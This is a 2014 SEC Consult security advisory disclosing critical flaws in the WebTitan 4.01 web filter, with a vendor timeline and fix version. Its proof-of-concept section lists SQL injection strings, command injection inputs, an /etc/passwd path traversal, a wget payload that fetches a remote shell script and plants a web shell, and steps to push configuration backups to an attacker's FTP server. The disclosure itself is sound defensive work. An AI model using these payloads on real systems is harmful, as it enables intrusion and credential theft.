SEC Consult SA-20140606-0 :: Multiple critical vulnerabilities in WebTitan

Type securityvulns
Reporter Securityvulns
Modified 2014-06-14T00:00:00



SEC Consult Vulnerability Lab Security Advisory < 20140606-0 >

          title: Multiple critical vulnerabilities
        product: WebTitan

vulnerable version: 4.01 (Build 68) fixed version: 4.04 impact: critical homepage: found: 2014-04-07 by: Robert Giruckas, Mindaugas Liudavicius SEC Consult Vulnerability Lab =======================================================================

Vendor description:

"WebTitan offers ultimate protection from internet based threats and powerful web filtering functionalities to SMBs, Service Providers and Education sectors around the World."


Business recommendation:

Multiple critical security vulnerabilities have been identified in the WebTitan system. Exploiting these vulnerabilities potential attackers could take control over the entire system.

It is highly recommended by SEC Consult not to use this software until a thorough security review has been performed by security professionals and all identified issues have been resolved.

Vulnerability overview/description:

1) SQL Injection A SQL injection vulnerability in the /categories-x.php script allows unauthenticated remote attackers to execute arbitrary SQL commands via the "sortkey" parameter.

2) Remote command execution Multiple remote command execution vulnerabilities were detected in the WebTitan GUI. This security flaw exists due to lack of input validation. An authenticated attacker of any role (Administrator, Policy Manager, Report Manager) can execute arbitrary OS commands with the privileges of the web server.

3) Path traversal The web GUI fails to properly filter user input passed to the logfile parameter. This leads to arbitrary file download by unauthenticated attackers.

4) Unprotected Access The web GUI does not require authentication for certain PHP scripts. This security issue allows an unauthenticated remote attacker to download Webtitan configuration backup (including hashed user credentials) to the attacker's FTP server.

Proof of concept:

1) SQL Injection The manipulation of the "sortkey" parameter allows users to modify the original SQL query.

GET /categories-x.php HTTP/1.1
/categories-x.php?getcategories&amp;sortkey=name&#41; limit 1;--
/categories-x.php?getcategories&amp;sortkey=name&#41; limit 5;--

2) Remote command execution Due to improper user input validation it is possible to inject arbitrary OS commands using backticks ``. Some of the affected files do not sanitize any type of shell metacharacters, this allows an attacker to use more flexible OS commands. Tested and working payload for most scripts: `/usr/local/bin/wget http://<URL to shell script> -O /usr/blocker/www/graph/CPU/xshell.php`

Affected scripts: logs-x.php, users-x.php, support-x.php, time-x.php, scheduledreports-x.php, reporting-x.php, network-x.php

a. logs-x.php, vulnerable parameters: fname, logfile
    /logs-x.php?jaction=view&amp;fname=webtitan.log;ls -la
    /logs-x.php POST Content: jaction=delete&amp;logfile=&lt;PAYLOAD&gt;

b. users-x.php, vulnerable parameters: ldapserver

c. support-x.php, vulnerable parameters: tracehost, dighost, pinghost
    /support-x.php POST Content: jaction=ping&amp;pinghost=&lt;PAYLOAD&gt;
    /support-x.php POST Content: jaction=ping&amp;dighost=&lt;PAYLOAD&gt;
    /support-x.php POST Content: jaction=ping&amp;tracehost=&lt;PAYLOAD&gt;

d. time-x.php, vulnerable parameters: ntpserversList
   /time-x.php POST Content:


e. scheduledreports-x.php, vulnerable parameters: reportid

f. reporting-x.php, vulnerable parameter: delegated_admin
   /reporting-x.php POST Content:


g. network-x.php, vulnerable parameters: hostname &#40;limited to 15 symbols
   length&#41;, domain

3) Path traversal Due to missing input filtering in the logs-x.php script it is possible to download arbitrary files without any authentication:

Vulnerable parameters: logfile
Post Content: jaction=download&amp;logfile=../../../etc/passwd

4) Unprotected Access a. Since the script backup-x.php does not require authentication, remote attackers can initiate a backup of Webtitan configuration files to a remote FTP server by executing the following requests:

   POST Content:


   Where &lt;IP&gt; is the remote FTP server IP, &lt;login&gt; - remote FTP server
   login, &lt;password&gt; - remote FTP, &lt;path&gt; - path where to store backup

   With the next request, an attacker can force the backup to be uploaded
   to the attacker&#39;s FTP server:

   POST Content: jaction=exportNowtoFtp

 b. The autoconf-x.php, contentfiltering-x.php, license-x.php, msgs.php,
    reports-drill.php scripts can be reached by an unauthenticated user. The
    categories-x.php, urls-x.php can also be accessed by faking the HTTP User-Agent
    header, by setting it to &quot;Shockwave Flash&quot;.

Vulnerable / tested versions:

The vulnerabilities have been verified to exist in the WebTitan VMware appliance ver. 4.0.1 (build 68). It is assumed that previous versions are affected too.

Vendor contact timeline:

2014-04-17: Contacting vendor through and 2014-04-23: Vendor is investigating the vulnerabilities 2014-05-09: Vendor is testing security patches 2014-06-03: Vendor releases the version 4.04 of WebTitan 2014-06-06: SEC Consult releases a coordinated security advisory


Update to the most recent version 4.04 of WebTitan.


Advisory URL:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab

SEC Consult Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius

Headquarter: Mooslackengasse 17, 1190 Vienna, Austria Phone: +43 1 8903043 0 Fax: +43 1 8903043 15

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EOF Mindaugas Liudavicius / @2014

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